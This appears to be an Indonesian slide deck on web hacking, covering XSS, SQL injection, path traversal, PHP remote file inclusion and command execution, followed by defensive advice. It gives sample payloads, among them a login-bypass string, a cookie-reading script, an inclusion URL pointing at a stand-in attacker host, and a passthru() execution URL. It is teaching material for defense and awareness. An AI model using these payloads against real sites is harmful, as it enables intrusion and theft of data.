Ahmad Muammar W. K. http://google.com/search?q=y3dips
Ahmad Muammar W. K.http://google.com/search?q=y3dips
http://google.com/search?q=y3dips
DetailsWeb HackingThreatSimulationImpactDiscussion
http://google.com/search?q=y3dips
Web HackingHacking melalui HTTP [ hacking over http ]Hacking terhadap Web Application
Melalui port 80 ; port HTTPMemanfaatkan kelemahan dari web application
Web browser attackBypassing Firewall ? Menggunakan HTTP rules (method)
Get , Put , Post, Options , find , Delete, Trace
Hyper Text Transfer Protocol (HTTPHTTP) terletak pada bagian atas dari gambar “Security level” yaitu APLIKASI
http request(clear text/ ssl)
FirewallUserWeb Server
Database Server
Web application
•Apache•IIS•Tomcat•Netscape
Http reply (HTML, Javascript, VBscript)
Plugins•Perl•PHP•JSP•E.t.c
•MsSQL•Postgre•Mysql•Oracle
Ahmad Muammar W. K.http://google.com/search?q=y3dips
Web Hacking
Client side attack (xss, cookies stealing)
Information Disclosure
OS commanding (SQL, SSI, Ldap, Xpath )
Brute Force
Path travesal
Denial Of Service
Remote command execution (php)
Sumber: http://www.webappsec.org
Etc
http://google.com/search?q=y3dips
Client Side AttackCross Site ScriptingSuatu Jenis Serangan dengan cara memasukkan code/script HTML (javascript) kedalam suatu web site dan dijalankan melalui browser di clientContoh <script>alert(document.cookie)</script>
Mendapatkan Cookies yang berisi info berharga milik client yang digunakan oleh server untuk proses authentikasi
http://google.com/search?q=y3dips
Information Disclosure
Predictable resource locationJenis serangan dengan menebak letak resource yang disembunyikan dan umumdi gunakan oleh web aplikasi
•Contoh :– /admin/– /backup/– /logs/– /PhpMyadmin/– admin.php– login.php
http://google.com/search?q=y3dips
SQL injectionSuatu Cara untuk Mengexploitasi Web Application yang menggunakan suatudatabase , dan memasukan command sql ,sehingga membentuk suatu query yang akan dieksekusi dan dijalankan oleh sql server.
Contoh: http://victim.com/login.asp yang menerima input user dan passattacking input user = test ‘OR ‘1’=‘1 && input pass =test
Syntax SQL : select * from users where pass=‘test’ and user = ‘test’or’1’=‘1’
Passing the login box !!!
http://google.com/search?q=y3dips
Path TraversalSuatu jenis vulnerabilities yang mengakibatkan user dapat melihat secara lengkappath suatu direktori atau file dari suatu situs/website
Contoh : http://target.com/appx/Sources/Admin.phpFatal error: Call to undefined function:is_admin() in /var/www/html/user/target/appx/Sources/Admin.php on line 32Diketahui bahwa halaman web target.com terletak di /var/www/html/user/target
Kegunaan bagi attackerMempersingkat waktu untuk mencari letak web direktori targetInformasi tambahan jika telah memiliki akses ke server.= ‘pwd’ pada situs target
Ahmad Muammar W. K.http://google.com/search?q=y3dips
http://google.com/search?q=y3dips
Remote file inclusionRemote Command execution
PHP under attack*
*2 jenis serangan terhadap web aplikasi yang berbasis php
http://google.com/search?q=y3dips
PHP under attackRemote File inclusionSuatu jenis serangan yang dilakukan dengan meng-include-kan halaman web lain kepada suatu situs/web aplikasi.
ContohSitus yang vulnerable http://victim.com/index.php?file=readme.txt
URL code :http://victim.com/index.php?file=http://echo.or.id
http://echo.or.id
victim
http://google.com/search?q=y3dips
PHP under attackShot !Modifikasi “inclusion page”
Change url “http://echo.or.id’ > http://attacker.xxx/in.txt
<?php
phpinfo();
?>
Real site
http://google.com/search?q=y3dips
PHP under attackRemote Command Execution Suatu jenis serangan yang dilakukan dengan meng-include-kan tag-tag bahasa pemrograman secara remote dan mengakibatkan web yang “vulnerable” akan mengeksekusi “request” yang di kirimkan.
ContohSitus yang vulnerable http://victim.com/viewtopic.php?t=48
URL code: http://victim.com/viewtopic.php?t=48&highlight=%2527.passthru($HTTP_GET_VARS[a]).%2527&a=id;pwd
Ahmad Muammar W. K.http://google.com/search?q=y3dips
http://google.com/search?q=y3dips
Most ImpactDefacingData StolenEtc
http://google.com/search?q=y3dips
http://google.com/search?q=y3dips
DefacingKegiatan merubah/merusak tampilan suatu website baik halamanutama (index) ataupun halaman lain yang masih terkait dalam satuurl dengan website tersebut (folder lain ; file lain)
http://google.com/search?q=y3dips
MotivesDendam atau perasaan gak puas*Kenikmatan tersendiri, 'defacer' merasa tertantangIntrik politik, SosialPenyampaian pesanKeuntungan MaterillPrestice dalam kelompok
http://google.com/search?q=y3dips
http://google.com/search?q=y3dips
As a UserGunakan Firewall, Antivirus, Anti Trojan, Good Backup Facility dsbPenggunaan Password / pass phrase yang baikBerhati hati terhadap semua tawaran ‘menggiurkan’ (attachment/program)Penggunaan fasilitas secara hati hati (warnet; public internet café)Penggunaan Secure login/Secure connection (https ; ssh)Update Informasi
http://google.com/search?q=y3dips
As a DeveloperSecure programmingGunakan Input Validation yang baikGunakan Enkripsi untuk authentikasi dan proses lain yang di anggap perluMatikan error_log ( kecuali saat development )Sesuai Kebutuhan dan kemampuan !Update informasi secara general dan informasi specifik engine yang digunakan
http://google.com/search?q=y3dips
As an AdministratorPolicy (strict restriction)Setting Optimal (Sesuai kebutuhan) pada environtment ; configurasi serverBatasi Fungsi yang bisa berinteraksi dengan system environtment
Php (passthru , system, exec) ; msSQL (xp_cmdshell, xp_regdeletekey, xp_msver)
Update Patch terbaru untuk application Selalu Update Informasi
Ahmad Muammar W. K.http://google.com/search?q=y3dips